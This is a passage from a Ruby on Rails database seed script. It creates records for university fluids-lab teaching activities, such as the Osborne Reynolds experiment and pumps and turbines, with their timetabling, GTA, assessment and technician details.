name_abrv: \"PIPELOSS\", archived: false, in_drive: true, user_id: 3)\n at160 = ActivityTimetable.where(activity_id: a160.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 10, max_week_num: 10, pref_room_id: $room_fl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a160.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y85b9e39\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a160.id).first_or_create!(criteria: \"Understanding of basic hydrodynamics and Moody diagram theory.\",\n job_desc:\"The speed of water is varied though a variety of pipe diameters and roughness. The pressure loss is also measured, allowing the moody diagram to be recreated and compared to one previously produced.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a160.id).first_or_create!(assess_weight: nil, notes: \"Post lab quiz\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a160.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a160.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a161 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC162\").first.id, code: \"419\").first_or_create!(name: \"Pressure Loss in Pipes\",\n name_abrv: \"PIPELOSS\", archived: false, in_drive: true, user_id: 2)\n at161 = ActivityTimetable.where(activity_id: a161.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 10, max_week_num: 10, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a161.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/gubsfc3\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a161.id).first_or_create!(criteria: \"Understanding of basic hydrodynamics and Moody diagram theory.\",\n job_desc:\"The speed of water is varied though a variety of pipe diameters and roughness. The pressure loss is also measured, allowing the moody diagram to be recreated and compared to one previously produced.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a161.id).first_or_create!(assess_weight: nil, notes: \"I don't know who runs this module - it is an odd one for arch eng students\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_p2p.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a161.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a161.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a162 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV2300\").first.id, code: \"420\").first_or_create!(name: \"Pumps and Turbines\",\n name_abrv: \"PUMPSTURB\", archived: false, in_drive: true, user_id: 2)\n at162 = ActivityTimetable.where(activity_id: a162.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 120, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a162.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y8mlxuvb\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a162.id).first_or_create!(criteria: \"Understanding of thermodynamics of fluidic/mechanical power conversion\",\n job_desc:\"Computer controlled pump and turbine units are experimented with to determine the ratio of energy conversation between hydraulic and mechanical/electrical. Marking is done after the lab. Students submit a short (2 page) report which is marked on a 5 point scale using turn-it-in.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a162.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: 3)\n ActivityTech.where(activity_id: a162.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a162.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a163 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE204\").first.id, code: \"420\").first_or_create!(name: \"Pumps and Turbines\",\n name_abrv: \"PUMPSTURB\", archived: false, in_drive: true, user_id: 3)\n at163 = ActivityTimetable.where(activity_id: a163.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 3, max_week_num: 3, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 120, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a163.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y2vsz6zu\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a163.id).first_or_create!(criteria: \"Understanding of thermodynamics of fluidic/mechanical power conversion\",\n job_desc:\"Computer controlled pump and turbine units are experimented with to determine the ratio of energy conversation between hydraulic and mechanical/electrical. Marking is done after the lab. Students submit a short (2 page) report which is marked on a 5 point scale using turn-it-in.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a163.id).first_or_create!(assess_weight: 5.0, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: 3)\n ActivityTech.where(activity_id: a163.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a163.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a164 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV2300\").first.id, code: \"421\").first_or_create!(name: \"Pumps and Turbines 2\",\n name_abrv: \"PUMPSTURB2\", archived: false, in_drive: true, user_id: 4)\n at164 = ActivityTimetable.where(activity_id: a164.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 120, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a164.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y7pr2vq9\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a164.id).first_or_create!(criteria: \"Understanding of thermodynamics of fluidic/mechanical power conversion\",\n job_desc:\"Computer controlled pump and turbine units are experimented with to determine the ratio of energy conversation between hydraulic and mechanical/electrical. Marking is done after the lab. Students submit a short (2 page) report which is marked on a 5 point scale using turn-it-in.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a164.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a164.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a164.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a165 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER192\").first.id, code: \"423\").first_or_create!(name: \"The Osborne Reynolds Experiment\",\n name_abrv: \"REYNOLDS\", archived: false, in_drive: true, user_id: 4)\n at165 = ActivityTimetable.where(activity_id: a165.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 2, max_week_num: 2, pref_room_id: $room_fl.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 240, takedown_time: 240, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a165.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y7lbg5la\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a165.id).first_or_create!(criteria: \"Understanding of basic hydrodynamics and laminar and turbulent flow theory\",\n job_desc:\"Students inject dye into a clear tube of flowing water. The speed of the water can be varied to generate different structures, to visualise laminar, turbulent and transitional flow.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a165.id).first_or_create!(assess_weight: nil, notes: \"Post lab is handeled by the department - integrated into lecture series\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a165.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a165.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a167 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR197\").first.id, code: \"423\").first_or_create!(name: \"The Osborne Reynolds Experiment\",\n name_abrv: \"REYNOLDS\", archived: false, in_drive: true, user_id: 1)\n at167 = ActivityTimetable.where(activity_id: a167.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 8, max_week_num: 8, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a167.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a167.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a167.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a167.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a167.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a168 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR227\").first.id, code: \"423\").first_or_create!(name: \"The Osborne Reynolds Experiment\",\n name_abrv: \"REYNOLDS\", archived: false, in_drive: true, user_id: 4)\n at168 = ActivityTimetable.where(activity_id: a168.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 9, max_week_num: 9, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a168.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y9kvtza6\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a168.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a168.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a168.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a168.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a169 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV6733\").first.id, code: \"423\").first_or_create!(name: \"The Osborne Reynolds Experiment\",\n name_abrv: \"REYNOLDS\", archived: false, in_drive: false, user_id: 4)\n at169 = ActivityTimetable.where(activity_id: a169.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 3, max_week_num: 3, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 240, takedown_time: 240, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a169.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y4agrwyb\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a169.id).first_or_create!(criteria: \"Understanding of basic hydrodynamics and laminar and turbulent flow theory\",\n job_desc:\"Students inject dye into a clear tube of flowing water. The speed of the water can be varied to generate different structures, to visualise laminar, turbulent and transitional flow.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a169.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a169.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a169.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a170 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CPE170\").first.id, code: \"423\").first_or_create!(name: \"The Osborne Reynolds Experiment\",\n name_abrv: \"REYNOLDS\", archived: false, in_drive: true, user_id: 1)\n at170 = ActivityTimetable.where(activity_id: a170.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 2, max_week_num: 2, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 240, takedown_time: 240, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a170.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/yctnkhpt\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a170.id).first_or_create!(criteria: \"Understanding of basic hydrodynamics and laminar and turbulent flow theory\",\n job_desc:\"Students inject dye into a clear tube of flowing water. The speed of the water can be varied to generate different structures, to visualise laminar, turbulent and transitional flow.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a170.id).first_or_create!(assess_weight: nil, notes: \"Formative\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a170.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a170.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a171 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE104\").first.id, code: \"423\").first_or_create!(name: \"The Osborne Reynolds Experiment\",\n name_abrv: \"REYNOLDS\", archived: false, in_drive: true, user_id: 2)\n at171 = ActivityTimetable.where(activity_id: a171.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: 6, max_week_num: 6, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 240, takedown_time: 240, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a171.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/zc256mz\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a171.id).first_or_create!(criteria: \"Understanding of basic hydrodynamics and laminar and turbulent flow theory\",\n job_desc:\"Students inject dye into a clear tube of flowing water. The speed of the water can be varied to generate different structures, to visualise laminar, turbulent and transitional flow.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a171.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a171.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a171.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a172 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC133\").first.id, code: \"423\").first_or_create!(name: \"The Osborne Reynolds Experiment\",\n name_abrv: \"REYNOLDS\", archived: false, in_drive: true, user_id: 4)\n at172 = ActivityTimetable.where(activity_id: a172.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 9, max_week_num: 9, pref_room_id: $room_fl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a172.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/ybcx9rvy\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a172.id).first_or_create!(criteria: \"Understanding of basic hydrodynamics and laminar and turbulent flow theory\",\n job_desc:\"Students inject dye into a clear tube of flowing water. The speed of the water can be varied to generate different structures, to visualise laminar, turbulent and transitional flow.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a172.id).first_or_create!(assess_weight: nil, notes: \"Post lab quiz\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a172.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a172.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a173 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC162\").first.id, code: \"423\").first_or_create!(name: \"The Osborne Reynolds Experiment\",\n name_abrv: \"REYNOLDS\", archived: false, in_drive: true, user_id: 1)\n at173 = ActivityTimetable.where(activity_id: a173.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 9, max_week_num: 9, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 240, takedown_time: 240, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a173.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/zhk62pr\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a173.id).first_or_create!(criteria: \"Understanding of basic hydrodynamics and laminar and turbulent flow theory\",\n job_desc:\"Students inject dye into a clear tube of flowing water. The speed of the water can be varied to generate different structures, to visualise laminar, turbulent and transitional flow.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a173.id).first_or_create!(assess_weight: nil, notes: \"I don't know who runs this module - it is an odd one for arch eng students\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_p2p.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a173.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a173.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a174 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode4\").first_or_create!(name: \"The Venturi Effect\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 4)\n at174 = ActivityTimetable.where(activity_id: a174.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a174.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a174.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a174.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a174.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a174.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a175 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER192\").first.id, code: \"401\").first_or_create!(name: \"The Venturi Effect\",\n name_abrv: \"VENTURI\", archived: false, in_drive: true, user_id: 3)\n at175 = ActivityTimetable.where(activity_id: a175.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 4, max_week_num: 4, pref_room_id: $room_fl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a175.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/gktozrd\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a175.id).first_or_create!(criteria: \"Basic understanding of the Bernoulli equation applied to aero engineering\",\n job_desc:\"Use a Venturi meter to see the reduction of static pressure be compensated by the increase in dynamic pressure. Stagnation pressure drops slightly due to friction.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a175.id).first_or_create!(assess_weight: nil, notes: \"Post lab is handeled by the department - integrated into lecture series\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a175.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a175.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a176 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV2300\").first.id, code: \"425\").first_or_create!(name: \"Water hammer self book\",\n name_abrv: \"WATERHAM\", archived: false, in_drive: false, user_id: 1)\n at176 = ActivityTimetable.where(activity_id: a176.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 30, notes: \"\",\n capacity: 8, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a176.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y7gqnls2\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a176.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a176.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 1)\n ActivityTech.where(activity_id: a176.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a176.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a177 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER298\").first.id, code: \"427\").first_or_create!(name: \"Wing Lift and Drag\",\n name_abrv: \"LIFTDRAG\", archived: false, in_drive: false, user_id: 4)\n at177 = ActivityTimetable.where(activity_id: a177.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: 16, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a177.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y9gnk48b\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a177.id).first_or_create!(criteria: \"Understanding of Bernoulli principle and boundary layer theory.\",\n job_desc:\"Help students to understand how to operate the wind tunnels to extract lift and drag data from a wing model. Marking in session is required.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a177.id).first_or_create!(assess_weight: 20.0, notes: \"post lab is part of the CFD assignment\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: 2)\n ActivityTech.where(activity_id: a177.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a177.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a178 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR197\").first.id, code: \"427\").first_or_create!(name: \"Wing Lift and Drag\",\n name_abrv: \"LIFTDRAG\", archived: false, in_drive: true, user_id: 4)\n at178 = ActivityTimetable.where(activity_id: a178.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 8, max_week_num: 8, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 16, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a178.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a178.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a178.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a178.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a178.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a179 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR197\").first.id, code: \"428\").first_or_create!(name: \"Viscometry\",\n name_abrv: \"VISC\", archived: false, in_drive: true, user_id: 2)\n at179 = ActivityTimetable.where(activity_id: a179.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 2, max_week_num: 2, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"Could be in analytics\",\n capacity: 20, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a179.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a179.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a179.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a179.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a179.id, 